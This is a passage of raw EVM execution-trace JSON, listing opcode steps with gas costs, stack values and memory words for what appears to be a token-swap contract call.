ce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5344,"op":"SWAP1","gas":102091,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x0","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5345,"op":"POP","gas":102088,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5346,"op":"PUSH1","gas":102086,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5348,"op":"PUSH2","gas":102083,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5351,"op":"DUP3","gas":102080,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5352,"op":"PUSH2","gas":102077,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5355,"op":"PUSH2","gas":102074,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":5358,"op":"JUMP","gas":102071,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x3b1a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15130,"op":"JUMPDEST","gas":102063,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15131,"op":"PUSH1","gas":102062,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15133,"op":"DUP3","gas":102059,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15134,"op":"DUP3","gas":102056,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x0","0x3"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15135,"op":"LT","gas":102053,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x0","0x3","0x3e8"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15136,"op":"ISZERO","gas":102050,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15137,"op":"PUSH2","gas":102047,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15140,"op":"JUMPI","gas":102044,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x0","0x1","0x3b2c"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15148,"op":"JUMPDEST","gas":102034,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15149,"op":"POP","gas":102033,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0xc50dfd48a20630e6","0x2bda54fce7dbfc916a32","0x2bda54fce7dbfc916a32","0xc50dfd48a20630e6","0x3","0x0","0x14ef","0x3","0x3e8","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000200","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","97db958e00000000000000000000000000000000000000000000000000000000"]},{"pc":15150,"op":"SUB","gas":102031,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f